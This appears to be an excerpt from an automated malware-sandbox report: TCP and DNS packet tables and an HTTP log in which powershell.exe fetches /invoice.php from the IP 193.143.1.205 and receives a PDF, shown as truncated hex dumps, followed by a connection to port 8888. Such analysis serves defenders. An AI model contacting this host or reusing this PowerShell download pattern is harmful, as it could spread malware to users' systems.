Jan 10, 2025 18:10:34.127325058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.127342939 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:34.127351046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.127365112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.127368927 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:34.127381086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.127397060 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:34.173429012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.173446894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.173500061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.173528910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.173532009 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:34.173546076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.173563004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.173587084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.173598051 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:34.173600912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.173618078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.173633099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.173635006 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:34.173655987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.173669100 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:34.173670053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.173686028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.173691988 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:34.173701048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.173715115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.173718929 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:34.173731089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.173747063 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:34.173778057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.173793077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.173808098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.173810959 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:34.173824072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.173839092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.173841000 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:34.173854113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.173867941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.173878908 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:34.173899889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.173901081 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:34.173914909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.173929930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.173944950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.173954010 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:34.173959970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.173975945 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:34.173975945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.173994064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.174010038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.174019098 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:34.174031019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.174038887 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:34.174046040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.174060106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.174074888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.174081087 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:34.174091101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.174105883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.174108028 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:34.174153090 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:34.174177885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.174192905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.174207926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.174221992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.174222946 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:34.174237967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.174252987 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:34.174252987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.174268961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.174283981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.174288988 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:34.174299955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.174314022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.174316883 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:34.174329042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.174344063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.174359083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.174359083 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:34.174381971 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:34.174401045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.174416065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.174429893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.174432039 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:34.174444914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.174460888 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:34.174460888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.174505949 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:34.174544096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.174559116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.174582005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.174588919 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:34.174597025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.174603939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.174618006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.174633026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.174645901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.174659967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.174660921 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:34.174668074 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:34.174675941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.174690962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.174705982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.174721003 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:34.174813032 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:34.174813032 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:34.174829006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.174844027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.174859047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.174873114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.174875975 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:34.174887896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.174902916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.174916983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.174920082 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:34.174932957 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:34.178858042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.178881884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.178904057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.178919077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.178936005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.178940058 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:34.178952932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.178970098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.178972006 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:34.178985119 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.178991079 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:34.179002047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.179008007 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:34.179019928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.179044962 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:34.223668098 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:34.250061035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.250128984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.250164032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.250196934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.250221014 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:34.250238895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.250269890 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:34.250277996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.250320911 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:34.250320911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.250355959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.250392914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.250395060 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:34.250487089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.250521898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.250530005 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:34.250556946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.250590086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.250598907 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:34.262197971 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:34.267441988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.267508984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.267544985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.267571926 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:34.267585993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.267590046 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:34.267641068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.267673969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.267677069 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:34.267709017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.267740965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.267745972 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:34.267775059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.267807961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.267808914 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:34.267841101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.267873049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.267877102 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:34.267909050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.267940044 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:34.267940998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.267976046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.268007040 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:34.305438042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.305455923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.305474997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.305486917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.305499077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.305511951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.305524111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.305541992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.305546999 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:34.305553913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.305567980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.305579901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.305583954 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:34.305592060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.305608034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.305620909 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:34.305640936 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:34.305654049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.305665016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.305676937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.305685043 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:34.305712938 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:34.305716991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.305730104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.305742979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.305752039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:34.305766106 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:34.305780888 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:34.550600052 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:34.817970991 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:35.495461941 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:35.500390053 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:35.500478983 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:35.500727892 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 18:10:35.505539894 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:36.268961906 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 18:10:36.314228058 CET	49705	8888	192.168.2.5	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 18:10:48.568511009 CET	49289	53	192.168.2.5	1.1.1.1
Jan 10, 2025 18:11:02.187814951 CET	53654	53	192.168.2.5	1.1.1.1
Jan 10, 2025 18:11:14.609359980 CET	52805	53	192.168.2.5	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 18:10:48.568511009 CET	192.168.2.5	1.1.1.1	0x580e	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:11:02.187814951 CET	192.168.2.5	1.1.1.1	0xa947	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:11:14.609359980 CET	192.168.2.5	1.1.1.1	0x5011	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Type	Class	DNS over HTTPS
Jan 10, 2025 18:10:48.576478004 CET	1.1.1.1	192.168.2.5	0x580e	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net	CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 18:11:02.351224899 CET	1.1.1.1	192.168.2.5	0xa947	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net	CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 18:11:14.616647959 CET	1.1.1.1	192.168.2.5	0x5011	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net	CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	193.143.1.205	80	5560	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 18:10:32.477200985 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 18:10:33.443926096 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 17:10:33 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 18:10:33.443974972 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 18:10:33.444011927 CET	448	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 10, 2025 18:10:33.444046974 CET	1236	IN	Data Raw: ab ce 09 d5 25 b4 1b 08 ed 33 68 0a a0 17 e7 b3 c7 7d fb 9f cd 23 fd cd 4b 49 a2 fd 88 a8 9d 0f 7d fc 34 ef a1 1c 1e ba 13 a6 be 21 01 00 00 ec 0a be 4c 02 00 00 00 00 e0 cb 30 49 70 c1 6e 28 2d c8 1d 2f a1 6d f1 bc 6f 1a e8 d9 fd b9 7b 48 15 6d Data Ascii: %3h}#KI}4!L0Ipn(-/mo{Hmi?"PoH;2l`rPSB]8s~%~w}rS&WJ\|1W{c =*@Og8m\|JtConopN01R
Jan 10, 2025 18:10:33.444083929 CET	1236	IN	Data Raw: 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce 0f 4d c3 a1 7b ef ae 3f a4 4d b9 87 b7 27 b2 29 77 f4 d8 d0 Data Ascii: 4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=C3`\|
Jan 10, 2025 18:10:33.444118977 CET	448	IN	Data Raw: 17 4b 00 b0 e3 76 ea df 7f 6b 3e 7e 7d f7 dc 68 1b 5d ef a5 d6 7f cc b5 bc 8e 5b bb aa 25 2e 6f 8d 17 b6 ca 5b 71 c5 67 78 c5 0b ab ff 50 f5 ef b1 a5 5f dc 55 ec e0 ab b9 ae 3f da 54 bf ef d2 17 00 00 eb b5 f6 db 1a 76 54 bc 23 57 c5 d0 87 14 43 Data Ascii: Kvk>~}h][%.o[qgxP_U?TvT#WCCSb]CU}kch:6=CO%t1?6cC21ASKv_pe-%.u-~mVYO?]=8`6zs(?0&51$
Jan 10, 2025 18:10:33.444418907 CET	1236	IN	Data Raw: eb 6a 16 35 77 f8 85 2e a3 5c 79 9e c6 2c 5a 88 2a ff 11 96 7b 72 2a e3 d4 ba 2e a3 f2 c2 d6 72 55 4b 5f d2 7a af 6d a1 a7 6b 13 9f 29 85 3f cb 1a 9f ab dc ef b2 c4 4b b9 e2 73 b8 d0 33 b0 e9 2b 59 fb eb 98 fb 83 2c fa 6c d4 2b bf 73 16 bd 8c e5 Data Ascii: j5w.\y,Z{r.rUK_zmk)?Ks3+Y,l+sC}H>6QJ&yyp8TPCb)^zPoN%5B__l>&*E&T,q51-OU/ik//+/l-&?HrOxm-W
Jan 10, 2025 18:10:33.444468975 CET	1236	IN	Data Raw: 31 f4 b8 8b a1 07 71 0c ed 87 43 ed e3 f2 8d da 91 db c4 d0 77 c3 18 7a 78 2b 31 f4 e2 bc 8f a1 d7 2a 86 de 13 43 27 34 f5 cd 09 00 00 60 1a 7c b1 04 00 d3 f2 b7 dc f0 fb f3 e1 77 e6 1f f2 ca df a8 cf 35 82 dc 65 f8 2b c9 75 1f dd 7a 74 f4 bc aa Data Ascii: 1qCwzx+1*C'4`\|w5e+uztc"BI4T&D].N-zU>$ZY+<iFV;FKVMz\P^MD]_Xp/3qywlL_EbvK+}nmcy==b&
Jan 10, 2025 18:10:33.444503069 CET	1236	IN	Data Raw: f1 85 39 c6 2b c4 29 73 55 85 6a e6 63 b1 a9 66 8b 56 da 72 d7 33 af af be 3c 7f 85 be e8 e5 72 5e fd 44 a1 f9 1c a9 29 68 3e 63 5d 47 6a 7e 6c 40 7f a6 98 67 ac 10 8e 73 9f 0e 85 9f 07 90 9f 04 30 6f 7b ff e2 ea a6 1c be e5 f4 27 82 b9 b6 d5 5f Data Ascii: 9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]LmBARrq5/X{Cz~bhlhcC?cC?u0X-37X_[;~Ii/MzJ*>)kz{~YjR
Jan 10, 2025 18:10:33.444535971 CET	1236	IN	Data Raw: 86 d6 94 d0 d1 93 25 6b ce b8 cc f5 50 2f ec 14 66 23 a8 29 a1 29 fd 48 06 4d 0d f4 d9 b3 67 bf ff fe fb 6f ad 5f 23 b3 bf ff 7b 6b f6 2b 4d 12 95 11 d1 b0 c5 98 24 aa 4f f7 f3 4f 97 89 7a 7a 73 ef ab 48 98 a8 fc 61 a6 e1 e6 5e ad 1c a7 72 ed 2c Data Ascii: %kP/f#))HMgo_#{k+M$OOzzsHa^r,Y,,WUB5{i_}zqZKd/AX%a;6%4=]\?Vbm^M~gOIM_W;C3Uvj;,C:6<^_7wcICo$
